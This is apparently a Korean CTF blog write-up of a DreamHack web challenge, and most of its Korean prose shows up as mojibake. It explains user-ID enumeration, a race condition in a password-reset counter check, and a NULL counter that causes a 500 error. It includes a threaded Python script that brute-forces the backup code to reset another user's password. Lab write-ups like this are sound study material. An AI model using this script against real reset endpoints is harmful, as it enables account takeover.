๊ด๋ฆฌ์ ๋ ๋ฒจ ์ ์ ์์ด๋ ์ฐพ๊ธฐ
http://host3.dreamhack.games:20947/user/1 <- ์ด๊ณณ์์ ๋ค์ ์ซ์๋ฅผ ๋๋ฆฌ๋ฉด์ ์ ์ ์ ๋ณด ํ์ธ ๊ฐ๋ฅ
๋ ์ด์ค ์ปจ๋์ ์ทจ์ฝ์ ์ฝ๋
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
if user:
# security for brute force Attack.
time.sleep(1)
if user['resetCount'] == MAXRESETCOUNT:
return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
ใด ์ ์ ์ ์ ๋ณด(๋ฆฌ์
์นด์ดํธ ํฌํจ)๊ฐ ํ
ํ๋ฆฟ์ ๊ธฐ๋ก๋จ, *DB ๊ฒฐ๊ณผ์ ๋ณต์ฌ๋ณธ์ผ ๋ฟ ์ด๊ณณ ๋ฐ์ดํฐ๊ฐ ๋ฐ๋์ด๋ ์ค์ DB๋ ์ ๋ฐ๋
time.sleep(1)
ใด ๋ฌด์ฐจ๋ณ ๋์
๊ณต๊ฒฉ์ ๋ฐฉ์ง๋ฅผ ์ํ ๋๋ ์ด, ๋๋ ์ด์ ๋น ์ง๋ ๋์ ๋์์ ์ฌ๋ฌ ๋ฒ์ ์์ ์์ฒญ์ด ์ง์ฐ๋๋ค.
if user['resetCount'] == MAXRESETCOUNT:
ใด ๊ทธ๋ ๊ฒ ์ฌ์ฉ์์ resetCount๊ฐ ๋์๋ค๋ฐ์ ์ผ๋ก ์ฆ๊ฐํ๋ฉด์ ๊ฒฐ๊ตญ resetCount๊ฐ MAXRESETCOUNT๋ฅผ ํ์ฉ ๋์ด ์ด ์กฐ๊ฑด๋ฌธ์ ์คํํ์ง ์๋๋ค. ๋ง์ฝ user['resetCount'] >= MAXRESETCOUNT: ์ด๋ ๊ฒ ์์ฑํ์ผ๋ฉด ์ด๋ฐ ์ทจ์ฝ์ ์ ์์์ ๊ฒ.
์๋ฒ ์๋ฌ 500์ ์ด์ฉ
์ ๊ท ๊ณ์ ์ ๋ง๋ค๊ฒ ๋๋ฉด resetCount ์์ญ์๋ NULL์ด ์๊ธฐ๊ฒ ๋๋ฉด์ ์๋์ resetCount = resetCount + 1 ๊ตฌ๋ฌธ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค. ๊ฒฐ๊ตญ ๋ฆฌ์ ์นด์ดํธ๋ ์ฆ๊ฐ ๋ชปํ ์ฑ ์๋ฒ ์ธก ์๋ฌ(500)๊ฐ ๋ฐ์ํ๋ค.
updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
cur.execute(updateSQL, (str(user['idx'])))
msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
์ด๋๋ฏผ ๋ ๋ฒจ ์ ์ ์์ด๋ ์ค์์ potato์๋ ์์ ๊ฐ์ ํ์์ด ๋ฐ์ํ๊ฒ ๋๋ฏ๋ก resetCount์ ์ ๊ฒฝ์ ์ฐ์ง ์๊ณ ๋ง์๊ป ๋ธ๋ฃจํธ ํฌ์ค ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
ํ์ด์ฌ ๊ณต๊ฒฉ ์ฝ๋
import requests
import threading
port = 8878
END_FLAG = False
def brute(userid, bmin, bmax):
global END_FLAG
url = f"http://host3.dreamhack.games:{port}/forgot_password"
for i in range(bmin, bmax+1):
if END_FLAG:
return
print(f"{userid}) Trying:", i)
data = { 'userid': userid, 'newpassword': '1234', 'backupCode': str(i)}
res = requests.post(url, data=data)
if res.status_code == 500:
continue
if "Password Change Success." in res.text:
print(f"{userid} Password Change Success! Login: {userid} | Password: 1234")
END_FLAG = True
break
t1 = threading.Thread(target=brute, args=("potato", 0, 50))
t1.start()
t2 = threading.Thread(target=brute, args=("potato", 51, 99))
t2.start()
๋ ์ด์ค ์ปจ๋์ ๊ณผ ์๋ฒ ์๋ฌ๋ฅผ ์ด์ฉํ ๋ธ๋ฃจํธ ํฌ์ค ๊ณต๊ฒฉ ์ฝ๋์ด๋ค.
๋ ์ด์ค ์ปจ๋์ ๊ณต๊ฒฉ ์ฐธ๊ณ :
๋ ์ด์ค ์ปจ๋์ (Race Condition) ๊ณต๊ฒฉ
๋ ์ด์ค ์ปจ๋์ - ํ์ ๋ ์์์ ๋์์ ์ด์ฉํ๋ ค๋ ์ฌ๋ฌ ํ๋ก์ธ์ค๊ฐ ์์์ ์ด์ฉ์ ์ํด ๊ฒฝ์์ ๋ฒ์ด๋ ํ์ ๋ ์ด์ค ์ปจ๋์ ์ ๊ณต๊ฒฉ์ ๊ธฐ๋ณธ - 1. ์ทจ์ฝ ํ๋ก๊ทธ๋จ์ด ์์ฑํ๋ ์์ ํ์ผ์ ์ด๋ฆ์ ํ
itstory.tk
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - basic_exploitation_000 ํ์ด (0) | 2023.04.26 |
---|---|
DreamHack - basic_exploitation_001 ํ์ด (0) | 2023.04.25 |
DreamHack - node-serialize (nodejs ์ง๋ ฌํ ์ทจ์ฝ์ ) ํ์ด (0) | 2023.03.27 |
Dreamhack - ์๊ฒ์, Mango ํ์ด (0) | 2021.12.09 |
Dreamhack - ์๊ฒ์, rev-basic-2 ํ์ด (0) | 2021.12.03 |